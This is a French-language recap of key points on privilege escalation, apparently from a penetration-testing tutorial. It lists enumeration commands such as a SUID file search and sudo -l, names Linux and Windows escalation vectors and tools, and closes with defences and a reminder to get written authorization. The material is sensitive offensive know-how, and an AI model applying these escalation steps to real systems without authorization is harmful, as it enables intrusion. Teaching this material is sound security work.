- Escalade verticale = monter en privileges (user vers root/SYSTEM). Escalade horizontale = se deplacer lateralement vers un autre utilisateur
- L'enumeration est la phase la plus importante :
id,uname -a,sudo -l,find / -perm -4000sont les reflexes de base - Sur Linux, les vecteurs les plus courants sont : SUID/SGID, sudo mal configure, cron jobs, capabilities et kernel exploits
- Sur Windows, les vecteurs les plus courants sont : services mal configures, token impersonation (Potato), DLL hijacking, AlwaysInstallElevated et UAC bypass
- GTFOBins (Linux) et LOLBAS (Windows) sont les references pour exploiter les binaires natifs
- LinPEAS / WinPEAS sont les outils d'enumeration automatisee incontournables — toujours les lancer en premier
- PowerUp (PowerShell) peut a la fois detecter et exploiter les misconfigurations Windows
- Les kernel exploits sont un dernier recours : ils peuvent crasher le systeme et sont souvent instables
- La defense repose sur le moindre privilege, le patching regulier, l'audit des SUID/capabilities/services et le monitoring
- Toujours operer dans un cadre legal avec une autorisation ecrite avant de tester l'escalade sur un systeme